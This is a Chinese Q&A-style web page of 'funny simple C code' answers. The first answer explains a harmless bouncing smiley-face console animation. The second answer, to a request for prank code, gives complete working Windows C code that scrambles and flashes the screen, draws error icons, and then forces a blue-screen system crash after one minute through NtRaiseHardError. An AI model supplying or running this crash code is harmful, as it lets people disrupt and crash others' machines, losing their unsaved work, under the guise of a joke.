c语言搞笑简单代码(用c语言怎么画笑脸求代码)

本文目录
用c语言怎么画笑脸求代码
先在程序定义一个在屏幕中运动的点的结构:
struct
move_point
{
int
x,
y;/*该点的位置,包括x坐标和y坐标*/
int
xv,
yv;/*该点在x轴、y轴的速度*/
};
运动的原理是,先擦去物体先前的轨迹,让物体按其速度移动一段距离,再画出该物体让我们看到以下代码:
gotoxy(man.x,
man.y);/*把光标移到指定的坐标*/
printf(““);/*输出一个空格,把先前的字符擦去*/
然后我们让物体按其速度运动:
man.x
+=
man.xv;/*水平方向按x轴的速度运动*/
man.y
+=
man.yv;/*垂直方向按y轴的速度运动*/
运动后还要判断物体是否出界,如果出了界,就令物体反弹,即让它下一刻的速度等于现在的速度的相反数最后打印出这个笑脸:
gotoxy(man.x,
man.y);
printf(“%c\b”,
2);
/*输出ascii码值为2的“笑脸”字符*/
望采纳,谢谢
求一个C语言整人代码!!!
先上代码
#include 《Windows.h》
#include 《time.h》
using namespace std;
int call;
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
int IconWidth = GetSystemMetrics(SM_CXICON);
int IconHeight = GetSystemMetrics(SM_CYICON);
HDC hdc=GetWindowDC(GetDesktopWindow());
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int random(int upper_bound) {
if(upper_bound==0) {
return 0;
}
srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));
call++;
return rand() % upper_bound;
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
while(true) {
BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);
Sleep(random(100));
}
return 0;
}
int GetWay() {
int r=random(3);
switch(r) {
case 0:
return SRCAND;
case 1:
return SRCINVERT;
case 2:
return SRCPAINT;
}
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth);
int RandyPixel = random(ScreenHeight - RandHeight);
int RandDestxPixel = random(ScreenWidth - RandWidth);
int RandDestyPixel = random(ScreenHeight - RandHeight);
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;
int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
Sleep(60000);
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsigned char temp0;
long unsigned int temp1;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1);
return 0;
}
DWORD WINAPI DrawErrors(LPVOID Param) {
while(true) {
int RandxPixel = random(ScreenWidth - IconWidth / 2);
int RandyPixel = random(ScreenHeight - IconHeight / 2);
DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));
Sleep(random(50));
}
return 0;
}
int main(void) {
CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL);
CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL);
CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL);
CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL);
CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL);
while(true);
}
运行这段代码首先会花屏并闪屏,一分钟后蓝屏。
效果图:

更多文章:
kali上传文件到apache服务器(如何在macOS系统和KaliLinux系统之间共享文件)
2025年10月25日 23:30
c语言一维数组有几个数(c语言的一维数组中至少要有几个元素)
2025年11月27日 13:30
织梦岛隐藏要素(塞尔达传说织梦岛脸孔神殿迷宫怎么通关 脸孔神殿迷宫)
2025年9月18日 18:45
最新版android studio安装(如何安装android studio)
2025年9月24日 10:15
97的十六进制(97 98 换成八进制 如何换 如何将十进制转换成八进制或者十六进制 哪位大仙帮帮忙)
2026年4月5日 15:00
redis命令登录(软件Xshell连接Redis操作教程)
2026年6月6日 17:30
category nouns(the different lexical category in translation)
2026年1月9日 10:45
哈夫曼树编码不唯一那解码结果(如何解决哈夫曼树不唯一的问题)
2025年6月24日 02:45
关系数据库管理系统有哪些?(下面哪些属于关系型数据库管理系统())
2026年5月2日 12:15
insertrow(在Power Query中如何插入自定义行)
2025年10月10日 12:30











